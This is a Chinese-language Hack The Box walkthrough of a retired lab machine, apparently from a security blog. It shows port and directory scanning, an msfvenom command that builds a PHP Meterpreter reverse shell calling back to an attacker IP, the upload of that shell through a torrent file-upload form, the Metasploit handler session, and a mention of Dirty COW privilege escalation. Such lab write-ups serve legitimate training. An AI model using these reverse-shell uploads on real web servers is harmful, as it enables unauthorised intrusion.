基础信息

简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透
链接:https://www.hackthebox.eu/home/machines/profile/4
描述:
注:因为是已经退役的靶机所以现在的ip地址与信息卡中的并不一致。

前言

本次演练使用kali系统按照渗透测试的过程进行操作,首先对该靶机进行探测,获取端口与版本信息根据各个开放端口的版本,通过目录扫描爬取到网页管理界面,通过文件上传木马文件,最后利用脏牛提权获取root权限。

一、信息收集

1、靶机ip

ip地址为:10.129.106.162

2、靶机端口与服务
nmap -sV -A -O 10.129.106.162

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
3、网站信息收集

进入80端口查看前端源代码没有发现可利用的信息

通过dirb进行目录扫描获取到两个有用的网页

http://10.129.106.162/test
http://10.129.106.162/torrent/

(1)通过第一个链接获取相应的系统版本信息
查看PHP版本与信息

(2)第二个链接是一个登录页面并且可以上传文件
我们可以申请一个新的账号进行登录尝试上传

二、漏洞探测与利用

注册账号,尝试文件上传

首先需要上传一个torrent文件

随意在网上下载一个即可

编辑torrent上传脚本本文件

生成脚本文件

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.57  LPORT=4444 -f raw > shell.php

使用burp修改脚本信息,进行上传

成功上传,进入相应目录下查看是否上传成功


发现名称被更改但是不影响利用
使用msf进行连接

msf6 > search php/meterpreter_reverse_tcp
Matching Modules
================
   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  payload/php/meterpreter_reverse_tcp                   normal  No     PHP Meterpreter, Reverse TCP Inline
Interact with a module by name or index. For example info 0, use 0 or use payload/php/meterpreter_reverse_tcp
msf6 > use payload/php/meterpreter_reverse_tcp
msf6 payload(php/meterpreter_reverse_tcp) > show options
Module options (payload/php/meterpreter_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
msf6 payload(php/meterpreter_reverse_tcp) > set 10.10.14.57
[-] Unknown variable
Usage: set [option] [value]
Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.
If setting a PAYLOAD, this command can take an index from `show payloads'.
msf6 payload(php/meterpreter_reverse_tcp) > set LHOST 10.10.14.57
LHOST => 10.10.14.57
msf6 payload(php/meterpreter_reverse_tcp) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (generic/shell_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf6 exploit(multi/handler) > set LHOST 10.10.14.57
LHOST => 10.10.14.57
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > exploit

获取shell

三、提权

1、获取交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
2、发现user.txt

3、脏牛提权

发现sudo -l命令无法使用
uname -a 查看内核版本

发现可以使用脏牛提权
执行成功

4、获取root.txt

总结

因为对msf使用的不是特别熟练,所以在反弹shell的时候遇到了一些问题,建议遇到不会的就进行谷歌自己动手找得到的永远比别人直接告诉自己的要印象深刻。

相关推荐: SQL注入实战篇

你是否正在收集各类网安网安知识学习,合天网安实验室为你总结了1300+网安技能任你学,点击获取免费靶场>> 今天要介绍的是SQL注入实验。SQL注入攻击的学习,我们更多的目的是为了学习攻击技术和防范策略,而不是刻意去攻击数据库。 首先我们先进入实验…

最后修改:2021 年 04 月 27 日 06 : 28 PM